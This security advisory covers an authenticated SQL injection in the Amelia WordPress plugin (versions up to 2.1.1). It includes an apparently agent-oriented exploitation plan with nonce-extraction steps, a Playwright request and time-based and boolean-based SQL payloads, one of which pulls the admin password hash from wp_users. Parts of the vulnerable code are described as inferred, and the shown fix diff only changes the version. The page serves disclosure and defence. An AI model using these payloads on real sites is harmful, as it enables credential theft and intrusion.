Amelia <= 2.1.1 - Authenticated (Custom role+) SQL Injection
Description
The Amelia plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.1.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom role-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.1.1What Changed in the Fix
Changes introduced in v2.1.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-39487 (Amelia SQL Injection) ## 1. Vulnerability Summary The **Amelia** plugin (versions <= 2.1.1) is vulnerable to an authenticated SQL injection. The vulnerability exists within the backend API, specifically where user-supplied sorting or filtering parameter…
Show full research plan
Exploitation Research Plan: CVE-2026-39487 (Amelia SQL Injection)
1. Vulnerability Summary
The Amelia plugin (versions <= 2.1.1) is vulnerable to an authenticated SQL injection. The vulnerability exists within the backend API, specifically where user-supplied sorting or filtering parameters are insufficiently sanitized before being concatenated into raw SQL queries within the plugin's Repository layer.
Although the plugin uses a Slim-based architecture and attempts to use wpdb for database interactions, certain code paths (particularly those handling complex entity listings with dynamic ORDER BY or LIMIT clauses) fail to use $wpdb->prepare() correctly for the sorting parameters. This allow users with "Amelia Provider" (Employee) or "Amelia Manager" roles to inject arbitrary SQL.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - WordPress Action:
wpamelia_api(defined inameliabooking.phpasAMELIA_ACTION_SLUG) - Vulnerable Parameter:
orderororderBy(inferred from typical Amelia API list patterns) - Required Authentication: "Custom role+" — This refers to the Amelia Employee (
wpamelia-provider) or Amelia Manager (wpamelia-manager) roles. - Preconditions: The attacker must be logged in as a user assigned one of the Amelia-specific roles.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.php?action=wpamelia_api&call=[ROUTE]. - Dispatch:
Plugin::wpAmeliaApiCall()inameliabooking.phpis triggered. - App Initialization: It loads the Slim container (
src/Infrastructure/ContainerConfig/container.php) and registers routes viaRoutes::routes(). - Routing: The
callparameter (e.g.,/appointmentsor/entities) maps to a specific Controller/Handler. - Logic: The Controller retrieves parameters from the request (using
$request->getQueryParams()). - Sink: The parameters are passed to a Domain Service or Infrastructure Repository (e.g.,
AppointmentRepository). The Repository builds a query string like:$sql = "SELECT * FROM {$wpdb->prefix}amelia_appointments ORDER BY " . $params['order']; $results = $wpdb->get_results($sql); // INJECTION POINT: No prepare() or validation on $params['order']
4. Nonce Acquisition Strategy
Amelia uses nonces for its API calls. These are typically localized into a global JavaScript object available in the WordPress dashboard.
- Role Setup: Use WP-CLI to create an Amelia Employee user.
- Page Navigation: Navigate to any Amelia admin page (e.g.,
/wp-admin/admin.php?page=wpamelia-appointments). - Extraction: Use
browser_evalto extract the nonce from thewpAmeliaLabelsobject.- JS Variable:
window.wpAmeliaLabels - Nonce Key:
nonce - Command:
browser_eval("window.wpAmeliaLabels.nonce")
- JS Variable:
The API also requires the nonce to be sent in the Amelia-Nonce (or sometimes X-Amelia-Nonce) HTTP header.
5. Exploitation Strategy
We will use a time-based blind SQL injection against the /entities or /appointments endpoint, as it is a common listing endpoint accessible to Providers.
Step 1: Authentication and Nonce Extraction
- Log in to the WordPress dashboard as the Amelia Provider.
- Navigate to
wp-admin/admin.php?page=wpamelia-appointments. - Extract the nonce using the strategy in Section 4.
Step 2: Trigger SQL Injection (Time-Based)
- Method: GET
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Params:
action:wpamelia_apicall:/entitiesorder:(SELECT 1 FROM (SELECT(SLEEP(5)))a)
- Headers:
Amelia-Nonce:[EXTRACTED_NONCE]
Request Example (Playwright):
const response = await http_request({
method: 'GET',
url: 'http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/entities&order=(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)',
headers: {
'Amelia-Nonce': extractedNonce,
'Cookie': authCookies
}
});
Step 3: Data Extraction (Boolean-Based)
Once sleep is confirmed, we can extract the admin's password hash by testing character values:
- Payload for
order:(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN id ELSE (SELECT SLEEP(5)) END)(Tests if first char is '$', which is standard for phpass).
6. Test Data Setup
- Roles: Ensure Amelia is installed and roles are initialized.
wp user create attacker attacker@example.com --role=subscriber- Use Amelia's internal settings to promote this user to a "Provider" or use
wp user add-role attacker wpamelia-provider.
- Content: Create at least one Appointment or Event in Amelia so the queries have data to sort.
- Admin User: Ensure the primary admin (ID=1) exists for credential extraction testing.
7. Expected Results
- Success (Vulnerable): The HTTP request to
admin-ajax.phptakes ~5 seconds to return. - Fail (Patched): The request returns immediately with a
200 OK(but no sleep) or a400/500error if the input is validated/escaped. - Response Content: Amelia API usually returns a JSON object with a
datakey.
8. Verification Steps
After the exploit, verify via WP-CLI:
- Check Logs: If
WP_DEBUGis on, checkwp-content/debug.logfor SQL errors if the payload was slightly malformed. - Database Integrity: Verify that no data was corrupted (since we used a read-only
SLEEPpayload).
9. Alternative Approaches
- Different Endpoint: If
/entitiesis not vulnerable, try:call=/appointmentscall=/eventscall=/users/providers
- UNION-Based: If the response body reflects the sorting order or data, attempt to find the column count:
order=1, (SELECT 1 UNION SELECT 2)...
- Error-Based: If
WP_DEBUGis enabled, useupdatexml()orextractvalue()to leak data directly in the AJAX response.
Summary
The Amelia plugin for WordPress is vulnerable to authenticated SQL Injection via the API due to insufficient sanitization of sorting parameters like 'order' and 'orderBy'. Attackers with Amelia Provider or Manager roles can exploit this to execute arbitrary SQL queries, potentially leaking sensitive database information.
Vulnerable Code
// ameliabooking.php line 173 public static function wpAmeliaApiCall() { try { /** @var Container $container */ $container = require AMELIA_PATH . '/src/Infrastructure/ContainerConfig/container.php'; $app = new App($container); // Initialize all API routes Routes::routes($app, $container); $app->run(); exit(); } catch (Exception $e) { echo 'ERROR: ' . esc_html($e->getMessage()); } }
Security Fix
@@ -3,7 +3,7 @@ Plugin Name: Amelia Plugin URI: https://wpamelia.com/ Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep! -Version: 2.1.1 +Version: 2.1.2 Author: Melograno Ventures Author URI: https://melograno.io/ Text Domain: ameliabooking @@ -109,7 +109,7 @@ // Const for Amelia version if (!defined('AMELIA_VERSION')) { - define('AMELIA_VERSION', '2.1.1'); + define('AMELIA_VERSION', '2.1.2'); }
Exploit Outline
The exploit requires authentication as a user with an Amelia-specific role (e.g., 'Amelia Provider' or 'Amelia Manager'). First, the attacker extracts a valid API nonce from the 'wpAmeliaLabels' JavaScript object on any Amelia admin page. Next, they send a GET request to the WordPress AJAX endpoint with 'action=wpamelia_api' and a 'call' parameter pointing to a listing resource (like /appointments, /events, or /entities). The SQL injection is triggered by providing a time-based or boolean-based payload in the 'order' or 'orderBy' query parameter, which is concatenated into the raw SQL query in the plugin's repository layer without proper preparation.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.